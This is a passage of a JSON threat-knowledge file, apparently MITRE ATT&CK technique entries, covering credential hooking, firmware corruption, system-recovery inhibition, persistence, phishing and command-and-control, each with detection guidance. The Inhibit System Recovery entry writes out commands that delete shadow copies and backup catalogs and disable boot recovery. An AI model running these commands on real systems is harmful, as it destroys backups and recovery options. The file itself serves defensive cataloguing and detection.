MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.","source_name":"Volatility Detecting Hooks Sept 2012"},{"url":"https://github.com/prekageo/winhook","description":"Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.","source_name":"PreKageo Winhook Jul 2011"},{"url":"https://github.com/jay/gethooks","description":"Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.","source_name":"Jay GetHooks Sept 2011"},{"url":"https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/","description":"Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.","source_name":"Zairon Hooking Dec 2006"},{"url":"https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/","description":"Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.","source_name":"EyeofRa Detecting Hooking June 2017"},{"url":"http://www.gmer.net/","description":"GMER. (n.d.). GMER. Retrieved December 12, 2017.","source_name":"GMER Rootkits"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx","description":"Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.","source_name":"Microsoft Process Snapshot"},{"url":"https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis","description":"Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.","source_name":"StackExchange Hooks Jul 2012"}],"modified":"2020-11-10T18:29:31.138Z","name":"Credential API Hooking","description":"Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001),  this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"},{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Metadata","Process: OS API Execution"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89","created":"2019-04-12T18:28:15.451Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1495","url":"https://attack.mitre.org/techniques/T1495"},{"source_name":"MITRE Trustworthy Firmware Measurement","url":"http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research","description":"Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016."},{"source_name":"Symantec Chernobyl W95.CIH","url":"https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99","description":"Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.\n\nIn general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485).","modified":"2022-04-19T23:01:15.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Firmware Corruption","x_mitre_detection":"System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Firmware: Firmware Modification"],"x_mitre_system_requirements":[],"x_mitre_impact_type":["Availability"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Yonatan Gotlib, Deep Instinct"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","created":"2019-04-02T13:54:43.136Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1490","url":"https://attack.mitre.org/techniques/T1490"},{"source_name":"FireEye WannaCry 2017","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html","description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019."},{"source_name":"Talos Olympic Destroyer 2018","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>\n* <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>\n* <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>","modified":"2022-04-19T23:26:59.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Inhibit System Recovery","x_mitre_detection":"Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\n\nMonitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of <code>HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\PreviousVersions\\DisableLocalPage</code>).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Process: Process Creation","File: File Deletion","Service: Service Metadata","Command: Command Execution","Windows Registry: Windows Registry Key Modification"],"x_mitre_system_requirements":[],"x_mitre_impact_type":["Availability"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Demaske, Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed","created":"2020-01-24T14:26:51.207Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1546.007","url":"https://attack.mitre.org/techniques/T1546/007"},{"source_name":"Demaske Netsh Persistence","url":"https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html","description":"Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017."},{"source_name":"TechNet Netsh","url":"https://technet.microsoft.com/library/bb490939.aspx","description":"Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017."},{"source_name":"Github Netsh Helper CS Beacon","url":"https://github.com/outflankbv/NetshHelperBeacon","description":"Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)","modified":"2022-04-20T17:09:17.363Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Netsh Helper DLL","x_mitre_detection":"It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Module: Module Load","Process: Process Creation","Windows Registry: Windows Registry Key Modification","Command: Command Execution"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","type":"attack-pattern","created":"2020-03-02T19:24:00.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1566.003","url":"https://attack.mitre.org/techniques/T1566/003"},{"external_id":"CAPEC-163","source_name":"capec","url":"https://capec.mitre.org/data/definitions/163.html"}],"modified":"2020-10-18T01:55:02.988Z","name":"Spearphishing via Service","description":"Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Application Log: Application Log Content","Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","type":"attack-pattern","created":"2020-03-14T23:08:20.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1090.001","url":"https://attack.mitre.org/techniques/T1090/001"},{"url":"http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/","description":"Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.","source_name":"Trend Micro APT Attack Tools"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-15T00:46:26.598Z","name":"Internal Proxy","description":"Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian","Wes Hurd"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1216","url":"https://attack.mitre.org/techniques/T1216"},{"source_name":"GitHub Ultimate AppLocker Bypass List","url":"https://github.com/api0cradle/UltimateAppLockerByPassList","description":"Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018."},{"source_name":"LOLBAS Project","url":"https://github.com/LOLBAS-Project/LOLBAS#criteria","description":"Oddvar Moe et al. (2022, February).  Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)","modified":"2022-04-18T14:43:46.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"System Script Proxy Execution","x_mitre_detection":"Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Script: Script Execution"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":["Application control","Digital Certificate Validation"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Becwar"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00","type":"attack-pattern","created":"2017-05-31T21:31:10.314Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1094","url":"https://attack.mitre.org/techniques/T1094"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-20T19:03:04.295Z","name":"Custom Command and Control Protocol","description":"Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","type":"attack-pattern","created":"2020-03-14T22:24:21.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1102.001","url":"https://attack.mitre.org/techniques/T1102/001"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-26T23:12:30.499Z","name":"Dead Drop Resolver","description":"Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Casey Smith","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b","type":"attack-pattern","created":"2017-05-31T21:31:27.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"external_id":"T1118","url":"https://attack.mitre.org/techniques/T1118","source_name":"mitre-attack"},{"source_name":"MSDN InstallUtil","description":"Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.","url":"https://msdn.microsoft.com/en-us/library/50614e95.aspx"},{"source_name":"LOLBAS Installutil","url":"https://lolbas-project.github.io/lolbas/Binaries/Installutil/","description":"LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019."}],"modified":"2020-01-31T18:59:38.256Z","name":"InstallUtil","description":"InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"},{"phase_name":"execution","kill_chain_name":"mitre-attack"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Process whitelisting","Digital Certificate Validation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","type":"attack-pattern","created":"2020-03-15T00:30:25.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1001.001","url":"https://attack.mitre.org/techniques/T1001/001"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-15T00:30:25.444Z","name":"Junk Data","description":"Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Robert Simmons, @MalwareUtkonos"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6","type":"attack-pattern","created":"2020-10-02T17:08:07.742Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1598.001","url":"https://attack.mitre.org/techniques/T1598/001"},{"source_name":"ThreatPost Social Media Phishing","url":"https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/","description":"O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:43:12.843Z","name":"Spearphishing Service","description":"Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic 